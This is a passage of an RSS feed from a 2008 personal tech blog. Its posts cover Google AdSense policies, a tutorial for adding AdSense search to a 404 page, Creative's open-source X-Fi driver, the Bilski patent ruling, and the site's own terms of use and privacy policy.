&lt;p&gt;Some benefits for users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A comprehensive listing of great solutions for individual as well business needs based on google products.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All products go through an approval process by Google to ensure a certain standard of quality and basic checks to prevent frauds&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A user based review system to put the good and the bad ones apart&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Very basic to advanced apps available for free as well as paid ones.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Paid ones may also have option to use google checkout for payment&lt;/p&gt;
&lt;p&gt;Some benefits for developers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No need to create and maintain a website for their products&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Good exposure to a wide audience without spending a dime. yes, all listings are free, even for paid apps.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Payments can be taken through Google Checkout or your own payment gateway&lt;/p&gt;
&lt;p&gt;Certainly a good initiative by Google. Some of the good apps I found are (all free ones, since I’m a cheapskate :D ): &lt;a href="http://www.google.com/enterprise/marketplace/viewListing?productListingId=5143210+6352879591152674960"&gt;Google Short Links&lt;/a&gt;, &lt;a href="http://www.google.com/enterprise/marketplace/viewListing?productListingId=4147159+11927776548951023888"&gt;Gmail Backup&lt;/a&gt;, &lt;a href="http://www.google.com/enterprise/marketplace/viewListing?productListingId=3538797+14883126272580344305"&gt;Google Email Uploader&lt;/a&gt;, &lt;a href="http://www.google.com/enterprise/marketplace/viewListing?productListingId=4915422+2675796265305842710"&gt;LuckyCal&lt;/a&gt;, etc.&lt;/p&gt;
&lt;p&gt;Let me know if you find this marketplace to your liking and also tell me of any exciting apps/services that you find while you are there.&lt;/p&gt;</content></item><item><title>Google Adsense : Conflict of Interests?</title><link>https://shantanugoel.com/2008/11/07/google-adsense-conflict-of-interests/</link><pubDate>Fri, 07 Nov 2008 14:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/11/07/google-adsense-conflict-of-interests/</guid><description>&lt;p&gt;“Google Adsense” has been caught in a conflict of interests with its parent company “Google”. Google piad 140k to teh cause of “Say No to Prop 8” but on the other hand people reported that Google Adsense delivered a substantially huge amount of “Say Yes to Prop 8” advertisements all over the internet, even on sites which are completely out of context with this matter. Not only is this conflicting with the interests of the parent company but also with the “Terms of Use” put forward by Adsense that ads should not have any kind of intolerance or advocacy towards an individual or a group. Irate people took out their frustation on the &lt;a href="https://www.blogger.com/comment.g?blogID=5576995&amp;amp;postID=8069138212199008176&amp;amp;isPopup=true"&gt;adsense blog&lt;/a&gt;.&lt;/p&gt;</description><content>&lt;p&gt;“Google Adsense” has been caught in a conflict of interests with its parent company “Google”. Google piad 140k to teh cause of “Say No to Prop 8” but on the other hand people reported that Google Adsense delivered a substantially huge amount of “Say Yes to Prop 8” advertisements all over the internet, even on sites which are completely out of context with this matter. Not only is this conflicting with the interests of the parent company but also with the “Terms of Use” put forward by Adsense that ads should not have any kind of intolerance or advocacy towards an individual or a group. Irate people took out their frustation on the &lt;a href="https://www.blogger.com/comment.g?blogID=5576995&amp;amp;postID=8069138212199008176&amp;amp;isPopup=true"&gt;adsense blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now, I just caught another conflict between google and adsense on my own blog. Basically, Google is against TLAs (text-link-ads) since they mess up the search engine rankings and even penalizes any site that sells or buys them. But look what I found in one of the ads displayed in google.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/2008/11/conflictofinterest.png"&gt;&lt;img src="https://shantanugoel.com/img/2008/11/conflictofinterest-thumb.png" alt="conflict-of-interest"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Looks like somebody needs to arrange a meeting between the google and adsense honchos to sort out what exactly is their stance on anything and everything.&lt;/p&gt;</content></item><item><title>Creative Open Sources X-Fi Sound Card Driver…Finally</title><link>https://shantanugoel.com/2008/11/07/creative-open-sources-x-fi-sound-card-driverfinally/</link><pubDate>Fri, 07 Nov 2008 04:14:29 +0000</pubDate><guid>https://shantanugoel.com/2008/11/07/creative-open-sources-x-fi-sound-card-driverfinally/</guid><description>&lt;p&gt;Creative has finally come to its senses and turned to the open source community to raise its X-Fi series of sound cards from the ashes on the linux platform, which got burnt mostly due to the poor quality of the drivers that Creative was giving out. The announcement for releasing the source code, licensed under GPL v2, was made on their forums. For the announcement and download details, click &lt;a href="http://forums.creative.com/creativelabs/board/message?board.id=soundblaster&amp;amp;thread.id=132288"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I guess this is a reason for us to rejoice because of two reasons:&lt;/p&gt;</description><content>&lt;p&gt;Creative has finally come to its senses and turned to the open source community to raise its X-Fi series of sound cards from the ashes on the linux platform, which got burnt mostly due to the poor quality of the drivers that Creative was giving out. The announcement for releasing the source code, licensed under GPL v2, was made on their forums. For the announcement and download details, click &lt;a href="http://forums.creative.com/creativelabs/board/message?board.id=soundblaster&amp;amp;thread.id=132288"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I guess this is a reason for us to rejoice because of two reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;This would definitely make life that much more better as the open source developers fix these particular drivers (ALSA people, start your engines)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This also means another big inroads into the commercial world for open source as creative is definitely one of the big boys around.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, I wish NVidia would see the light of the day as well. Creative guys, care to take a trip down to Santa Clara to share your reasonings with our GPU brothers :)&lt;/p&gt;</content></item><item><title>Make Money Out Of Nothing: Add Google Adsense For Search To Your 404 Page</title><link>https://shantanugoel.com/2008/11/06/make-money-out-of-nothing-add-google-adsense-for-search-to-your-404-page/</link><pubDate>Thu, 06 Nov 2008 14:30:28 +0000</pubDate><guid>https://shantanugoel.com/2008/11/06/make-money-out-of-nothing-add-google-adsense-for-search-to-your-404-page/</guid><description>&lt;p&gt;A 404 page is an error page that is displayed when somebody tries to go to a link on your website that doesn&amp;rsquo;t exist. This could occur when someone linking to your website or typing in his browser address bar mistypes a url, or maybe that page has been moved or deleted by you. Lost opportunity? Maybe. But definitely not, if you follow this advise. Many people don&amp;rsquo;t have a 404 page altogether, a few implement with an inane message like &amp;ldquo;Something went wrong&amp;rdquo;, a few will try to help out the seemingly lost user by giving a few navigation options linking to home page, archives or most popular posts, etc. Definitely the last option among these is quite good to retain the users, but we&amp;rsquo;ll go one step ahead and turn this into an extra source of cash.&lt;/p&gt;</description><content>&lt;p&gt;A 404 page is an error page that is displayed when somebody tries to go to a link on your website that doesn&amp;rsquo;t exist. This could occur when someone linking to your website or typing in his browser address bar mistypes a url, or maybe that page has been moved or deleted by you. Lost opportunity? Maybe. But definitely not, if you follow this advise. Many people don&amp;rsquo;t have a 404 page altogether, a few implement with an inane message like &amp;ldquo;Something went wrong&amp;rdquo;, a few will try to help out the seemingly lost user by giving a few navigation options linking to home page, archives or most popular posts, etc. Definitely the last option among these is quite good to retain the users, but we&amp;rsquo;ll go one step ahead and turn this into an extra source of cash.&lt;/p&gt;
&lt;p&gt;Note: This is perfectly fine according to Google Adsense TOS.&lt;/p&gt;
&lt;p&gt;What we&amp;rsquo;ll do is implement a search box (Adsense For Search) on the 404 error page, which will net us the following benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give the users a way to search for what they would have come looking for and hence retain them on your website.&lt;/li&gt;
&lt;li&gt;Make money if they click on any ads that are shown by Adsense for search.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we&amp;rsquo;ll see how to do it for a wordpress blog as well as a static site.&lt;/p&gt;
&lt;h3 id="how-to-implement-google-adsense-for-search-for-your-blog"&gt;How to implement google adsense for search for your blog:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Common step:&lt;/strong&gt; The first step for independent of what kind of site you have, is to sign up for &lt;a href="http://google.com/adsense/"&gt;Google Adsense Publisher Account&lt;/a&gt;. Once you have signed up, log on to your account and go to Adsense Setup -&amp;gt; Get Ads -&amp;gt; Adsense For Search. Customize the box according to your need. (Select the &amp;ldquo;Open search results in my website&amp;rdquo; option to make sure users remain on your site. And insert a url where you&amp;rsquo;d like to show the results. e.g. mine is &lt;a href="http://tech.shantanugoel.com/search/"&gt;http://tech.shantanugoel.com/search/&lt;/a&gt; ). Once you are done, you will get two snippets of code. One for displaying the search box and another for displaying the search results. Lets call them &amp;ldquo;Adsense-For-Search-Box-Code&amp;rdquo; and &amp;ldquo;Adsense-For-Search-Results-Code&amp;rdquo;. We&amp;rsquo;ll use them below for our implmentation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For a static site:&lt;/strong&gt; A static site is one where you have static/hand-coded html pages (i.e., not generated by a server side language, e.g. PHP). This requires 3 steps now:&lt;/p&gt;
&lt;p&gt;Step 1) Create a 404.html page that will contain your search box code and will be displayed in case of a 404 error. A simple sample implmentation would be a blank page that contains just the search box code. The contents of this page can be as shown below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;your website header&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;Adsense-For-Search-Box-Code&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;your website footer&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, you might want to blend this in with your other website pages by including the look of header, sidebars, footers, etc, and in place of content just paste in the code.&lt;/p&gt;
&lt;p&gt;Step 2) Create a search-results.html page that will contain the search results (You need to enter &lt;code&gt;http://&amp;gt;your-domain-name&amp;lt;/search-result.html&lt;/code&gt; in the adsense settings for this). Here, also you can either create a blank html page with just the search results code added or mimic the look of your website. Possible Contents:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;your website header&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;Adsense-For-Search-Results-Code&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;your website footer&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 3) Modify your .htaccess file to add the following line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-apache" data-lang="apache"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ErrorDocument &lt;span style="color:#ae81ff"&gt;404&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/404.html&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And you are done. For a wordpress site, read on:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For a WordPress based site/blog:&lt;/strong&gt; For a wordpress based site, you don’t have to modify the .htaccess. The 3 steps you have to follow are as below:&lt;/p&gt;
&lt;p&gt;Step 1) Create or modify your 404.php file (generally in your theme’s root directory, e.g. &lt;code&gt;http://&amp;lt;your-site-name&amp;gt;/wp-content/themes/&amp;lt;your-theme&amp;gt;/404.php&lt;/code&gt; ) to include the adsense for search box code. e.g.:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_header&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;div id=&amp;#34;content&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#34;Adsense-For-Search-Box-Code&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;?php get_footer(); ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 2) Create a search-results.php file (generally in your theme’s root directory, e.g. &lt;code&gt;http://&amp;lt;your-site-name&amp;gt;/wp-content/themes/&amp;lt;your-theme&amp;gt;/search-results.php&lt;/code&gt;) to include the adsense for search results code. e.g.:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Template Name: Google Adsense Search Results
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;?php get_header(); ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;div id=&amp;#34;content&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#34;Adsense-For-Search-Results-Code&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;?php get_footer(); ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 3) Login to your WordPress dashboard, go to Write-&amp;gt;Page. Create a new page with its url/slug being &lt;code&gt;http://&amp;lt;your-site-name&amp;gt;/search&lt;/code&gt; (e.g. &lt;a href="http://tech.shantanugoel.com/search"&gt;http://tech.shantanugoel.com/search&lt;/a&gt; ) or whatever that you input in your adsense settings. Make sure you select the page template as “Google Adsense Search Results” as we had mentioned in the search-results.php file at the top. Save this page and you are done.&lt;/p&gt;
&lt;p&gt;Now, try to go to any non-existent url on your site (You can try this with this blog also, appending any weird url after &lt;a href="http://tech.shantanugoel.com/"&gt;http://tech.shantanugoel.com/&lt;/a&gt; ) and you will be presented with the nice adsense-for search box. Let me know if this helped you out or you find any shortcomings in this or have any of your own tips. Also let me know if you need my specific 404.php and search-results.php files.&lt;/p&gt;</content></item><item><title>Save Your Adsense Account: Put Up That Privacy Policy</title><link>https://shantanugoel.com/2008/11/04/save-your-adsense-account-put-up-that-privacy-policy/</link><pubDate>Tue, 04 Nov 2008 17:35:58 +0000</pubDate><guid>https://shantanugoel.com/2008/11/04/save-your-adsense-account-put-up-that-privacy-policy/</guid><description>&lt;p&gt;Google is known to be pretty strict with making sure that all Adsense publishers remain conformant to their policies. I’m not very old in this game but had read and heard enough (about google shutting down Adsense accounts without even warning) that I made sure to read their terms and conditions thoroughly. What got my attention was the very last line in the &lt;a href="https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;amp;answer=48182"&gt;policy&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Hi,&lt;/p&gt;
&lt;p&gt;During a recent review of your account we noticed that you are currently displaying Google ads on [domain name removed] but do not have a privacy policy posted which discloses how the site uses third party advertising companies.&lt;/p&gt;</description><content>&lt;p&gt;Google is known to be pretty strict with making sure that all Adsense publishers remain conformant to their policies. I’m not very old in this game but had read and heard enough (about google shutting down Adsense accounts without even warning) that I made sure to read their terms and conditions thoroughly. What got my attention was the very last line in the &lt;a href="https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;amp;answer=48182"&gt;policy&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Hi,&lt;/p&gt;
&lt;p&gt;During a recent review of your account we noticed that you are currently displaying Google ads on [domain name removed] but do not have a privacy policy posted which discloses how the site uses third party advertising companies.&lt;/p&gt;
&lt;p&gt;As stated in our program policies, sites displaying Google ads should include a privacy policy that informs visitors of the use of cookies and/or web beacons to serve ads. You can find more information about this requirement here: &lt;a href="http://www.google.com/adsense/support/bin/answer.py?answer=100557"&gt;http://www.google.com/adsense/support/bin/answer.py?answer=100557&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To ensure that your site is in compliance with this policy, please create a privacy policy page and link to it from any pages which display Google ads. You can find some privacy policy examples and tips here: &lt;a href="http://www.google.com/adsense/support/bin/answer.py?answer=100557"&gt;http://www.google.com/adsense/support/bin/answer.py?answer=100557&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once you have taken the necessary corrective action, please reply to this email so that we can follow up accordingly.&lt;/p&gt;
&lt;p&gt;We appreciate your cooperation.&lt;/p&gt;
&lt;p&gt;Sincerely,
The Google AdSense Team&lt;/p&gt;
&lt;p&gt;Now why I wrote this post was that though almost every site I visit has adsense ads, but only a very miniscule fraction of them is abiding with this condition. Maybe they don’t know this because on my search, I came to know that this clause was added to google’s policy around March this year. I don’t know how much fuss is google is going to create over this but I’d rather be safe than sorry. Especially when it takes only a few minutes to create your privacy policy. To create yours with a few clicks, I came across a simple online template here: &lt;a href="http://www.serprank.com/privacy-policy-generator/index.php"&gt;Adsense Privacy Policy Generator&lt;/a&gt;. I too used it (with a few modifications) to create my own &lt;a href="https://shantanugoel.com/privacy/"&gt;privacy policy&lt;/a&gt;. You are free to use it to create your own.&lt;/p&gt;</content></item><item><title>Terms of Use</title><link>https://shantanugoel.com/terms-of-use/</link><pubDate>Tue, 04 Nov 2008 14:03:44 +0000</pubDate><guid>https://shantanugoel.com/terms-of-use/</guid><description>&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;This blog reflects my own opinions which can change anytime without notice.The information given here is a reflection of what I know and may or may not be factually correct in its entirety.&lt;/p&gt;
&lt;p&gt;Any instructions or information given here should be followed and used on your own risk and I&amp;rsquo;ll not be liable for any damages that might be incurred because of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copyright Policy and Fair Use Information:&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;This blog reflects my own opinions which can change anytime without notice.The information given here is a reflection of what I know and may or may not be factually correct in its entirety.&lt;/p&gt;
&lt;p&gt;Any instructions or information given here should be followed and used on your own risk and I&amp;rsquo;ll not be liable for any damages that might be incurred because of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copyright Policy and Fair Use Information:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;All content on this blog is solely owned by me (Shantanu Goel) unless otherwise noted.&lt;/p&gt;
&lt;p&gt;You may not copy any article from this blog (or any of our partner sites) to reproduce elsewhere on the internet or offline media without prior permission from me. For permissions, contact me &lt;a href="http://tech.shantanugoel.com/contact"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You may however, quote any of our articles on your own websites, given that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Only a short part (1 line to maximum 1 paragraph) of the original content is reproduced on your website&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A prominent linkback with appropriate credits and title text is provided to this blog. The descrition of deciding what consitutes a &amp;ldquo;prominent&amp;rdquo; linkback and &amp;ldquo;appropriate&amp;rdquo; credits and title text, resides solely with me.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You may not scrape our RSS feeds and republish them on any online or offline media without our prior permission. All conditions for doing so will be governed by the rules listed above for non-feed content.&lt;/p&gt;
&lt;p&gt;Any violation of this policy will be taken seriously and DMCA notices will be sent to the concerned authorities including, but not limited to, the advertising partners, webhosts, governments (of host&amp;rsquo;s country and website admin&amp;rsquo;s country) of the offending website(s) in question.&lt;/p&gt;</content></item><item><title>Privacy</title><link>https://shantanugoel.com/privacy/</link><pubDate>Tue, 04 Nov 2008 13:48:23 +0000</pubDate><guid>https://shantanugoel.com/privacy/</guid><description>&lt;p&gt;&lt;strong&gt;Privacy Policy for Shantanu&amp;rsquo;s Technophilic Musings (&lt;a href="http://tech.shantanugoel.com"&gt;http://tech.shantanugoel.com&lt;/a&gt;&lt;/strong&gt;/)&lt;/p&gt;
&lt;p&gt;If you require any more information or have any questions about our privacy policy, please feel free to &lt;a href="http://tech.shantanugoel.com/contact"&gt;contact us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At &lt;a href="http://tech.shantanugoel.com/"&gt;http://tech.shantanugoel.com/&lt;/a&gt;, the privacy of our visitors is of extreme importance to us. This privacy policy document outlines the types of personal information is received and collected by &lt;a href="http://tech.shantanugoel.com/"&gt;http://tech.shantanugoel.com/&lt;/a&gt; and how it is used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Log Files&lt;/strong&gt;
Like many other Web sites, tech.shantanugoel.com makes use of log files. The information inside the log files includes internet protocol ( IP ) addresses, type of browser, Internet Service Provider ( ISP ), date/time stamp, referring/exit pages, and number of clicks to analyze trends, administer the site, track user’s movement around the site, and gather demographic information. IP addresses, and other such information are not linked to any information that is personally identifiable. These logs will not be made public unless required by law to do so.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Privacy Policy for Shantanu&amp;rsquo;s Technophilic Musings (&lt;a href="http://tech.shantanugoel.com"&gt;http://tech.shantanugoel.com&lt;/a&gt;&lt;/strong&gt;/)&lt;/p&gt;
&lt;p&gt;If you require any more information or have any questions about our privacy policy, please feel free to &lt;a href="http://tech.shantanugoel.com/contact"&gt;contact us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At &lt;a href="http://tech.shantanugoel.com/"&gt;http://tech.shantanugoel.com/&lt;/a&gt;, the privacy of our visitors is of extreme importance to us. This privacy policy document outlines the types of personal information is received and collected by &lt;a href="http://tech.shantanugoel.com/"&gt;http://tech.shantanugoel.com/&lt;/a&gt; and how it is used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Log Files&lt;/strong&gt;
Like many other Web sites, tech.shantanugoel.com makes use of log files. The information inside the log files includes internet protocol ( IP ) addresses, type of browser, Internet Service Provider ( ISP ), date/time stamp, referring/exit pages, and number of clicks to analyze trends, administer the site, track user’s movement around the site, and gather demographic information. IP addresses, and other such information are not linked to any information that is personally identifiable. These logs will not be made public unless required by law to do so.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cookies and Web Beacons&lt;/strong&gt;
tech.shantanugoel.com does use cookies to store information about visitors preferences, record user-specific information on which pages the user access or visit, customize Web page content based on visitors browser type or other information that the visitor sends via their browser.&lt;/p&gt;
&lt;p&gt;Some of our advertising partners may use cookies and web beacons on our site. Our advertising partners include Google Adsense. For a complete list of these vendors, click &lt;a href="https://www.google.com/adsense/support/bin/answer.py?answer=94149"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These third-party ad servers or ad networks use technology to the advertisements and links that appear on tech.shantanugoel.com send directly to your browsers. They automatically receive your IP address when this occurs. Other technologies ( such as cookies, JavaScript, or Web Beacons ) may also be used by the third-party ad networks to measure the effectiveness of their advertisements and / or to personalize the advertising content that you see.&lt;/p&gt;
&lt;p&gt;tech.shantanugoel.com has no access to or control over these cookies that are used by third-party advertisers.&lt;/p&gt;
&lt;p&gt;You should consult the respective privacy policies of these third-party ad servers for more detailed information on their practices as well as for instructions about how to opt-out of certain practices. tech.shantanugoel.com&amp;rsquo;s privacy policy does not apply to, and we cannot control the activities of, such other advertisers or web sites.&lt;/p&gt;
&lt;p&gt;If you wish to disable cookies, you may do so through your individual browser options. More detailed information about cookie management with specific web browsers can be found at the browsers&amp;rsquo; respective websites.&lt;/p&gt;</content></item><item><title>Microsoft Has A Problem: Software Patents Go Up In Smoke</title><link>https://shantanugoel.com/2008/10/31/microsoft-has-a-problem-software-patents-go-up-in-smoke/</link><pubDate>Fri, 31 Oct 2008 18:35:57 +0000</pubDate><guid>https://shantanugoel.com/2008/10/31/microsoft-has-a-problem-software-patents-go-up-in-smoke/</guid><description>&lt;p&gt;Just read over at groklaw about a ruling made last night by the US Appeals Court. According to it, the patents granted for business practices would have to undergo specific and stringent testing procedures to check the worthiness of granting a patent to it. Essentially, they are aiming to mandate a passing of &amp;ldquo;machine-or-transformation test&amp;rdquo; as a pre-requisite for granting a patent. This means that a mere &amp;ldquo;idea in my head&amp;rdquo; doesn&amp;rsquo;t qualify for a patent until it is put into practice on a machine or can transform the state of an object for a specific purpose. Am no lawyer but what the experts are making out from the long judgement is that many industries will be hit hard by this ruling. Especially software companies who own most of the software patents as business practices, and a majority of these would be found unworthy of patents as they would be found too generic and stifling for the growth of industry.&lt;/p&gt;</description><content>&lt;p&gt;Just read over at groklaw about a ruling made last night by the US Appeals Court. According to it, the patents granted for business practices would have to undergo specific and stringent testing procedures to check the worthiness of granting a patent to it. Essentially, they are aiming to mandate a passing of &amp;ldquo;machine-or-transformation test&amp;rdquo; as a pre-requisite for granting a patent. This means that a mere &amp;ldquo;idea in my head&amp;rdquo; doesn&amp;rsquo;t qualify for a patent until it is put into practice on a machine or can transform the state of an object for a specific purpose. Am no lawyer but what the experts are making out from the long judgement is that many industries will be hit hard by this ruling. Especially software companies who own most of the software patents as business practices, and a majority of these would be found unworthy of patents as they would be found too generic and stifling for the growth of industry.&lt;/p&gt;
&lt;p&gt;So, companies like Microsoft would have a lot to rue about as a huge portion of their patent portfolio has become circumspect. This not only would rob them of revenues in terms of royalties but would also open up a lot of space for competition as well. Special thanks to Red Hat to take up the fight and providing crucial data to the court to take this decision. Stallman and FSF would be very happy today :)&lt;/p&gt;
&lt;p&gt;Linky: &lt;a href="http://www.groklaw.net/article.php?story=20081030150903555"&gt;The Bilski Desicion&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Project: My WordPress Plugin Shantz-WP-Prefix-Suffix Updated To 1.0.5</title><link>https://shantanugoel.com/2008/10/31/project-my-wordpress-plugin-shantz-wp-prefix-suffix-updated-to-105/</link><pubDate>Fri, 31 Oct 2008 15:48:40 +0000</pubDate><guid>https://shantanugoel.com/2008/10/31/project-my-wordpress-plugin-shantz-wp-prefix-suffix-updated-to-105/</guid><description>&lt;p&gt;For those who are new to this plugin, Shantz WP Prefix Suffix is a light-weight and easy to use plugin which allows you to add any text, HTML/CSS/PHP/Javascript code to your posts and/or pages as prefix and/or suffix. (That includes even any new or old posts and pages and even your feed)
